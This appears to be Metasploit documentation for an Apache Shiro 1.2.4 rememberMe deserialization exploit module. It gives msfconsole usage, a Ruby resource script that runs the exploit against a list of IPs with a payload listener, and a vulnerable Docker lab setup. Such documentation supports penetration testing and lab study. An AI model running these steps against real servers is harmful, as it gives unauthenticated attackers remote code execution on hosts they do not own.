Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using shiro_rememberme_v124_deserialize against a single host
Normally, you can use exploit/multi/http/shiro_rememberme_v124_deserialize this way:
msf > use exploit/multi/http/shiro_rememberme_v124_deserialize
msf exploit(shiro_rememberme_v124_deserialize) > show targets
... a list of targets ...
msf exploit(shiro_rememberme_v124_deserialize) > set TARGET target-id
msf exploit(shiro_rememberme_v124_deserialize) > show options
... show and set options ...
msf exploit(shiro_rememberme_v124_deserialize) > exploit
Using shiro_rememberme_v124_deserialize against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your shiro_rememberme_v124_deserialize will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/shiro_rememberme_v124_deserialize")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Vulnerable Application
Description
Apache Shiro v1.2.4 is vulnerable to a Java deserialization vulnerability. An
unauthenticated user can submit a YSoSerial payload to the Apache Shiro web
server as the value to the rememberMe
cookie. This will result in code
execution in the context of the web server.
The YSoSerial CommonsCollections2
payload is known to work and is the one
leveraged by this module.
Note that other versions of Apache Shiro may also be exploitable if the
encryption key used by Shiro to encrypt rememberMe
cookies is known.
Setup
You can use https://github.com/Medicean/VulApps/tree/master/s/shiro/1.
- Pull the docker image
docker pull medicean/vulapps:s_shiro_1
- Run the docker image, binding to port 8080
docker run --rm -p 8080:8080 medicean/vulapps:s_shiro_1
Verification Steps
use exploit/multi/http/shiro_rememberme_v124_deserialize
set rhosts <rhost>
run
Options
ENC_KEY
The encryption key the target Apache Shiro server is using to encrypt its rememberMe
cookies.
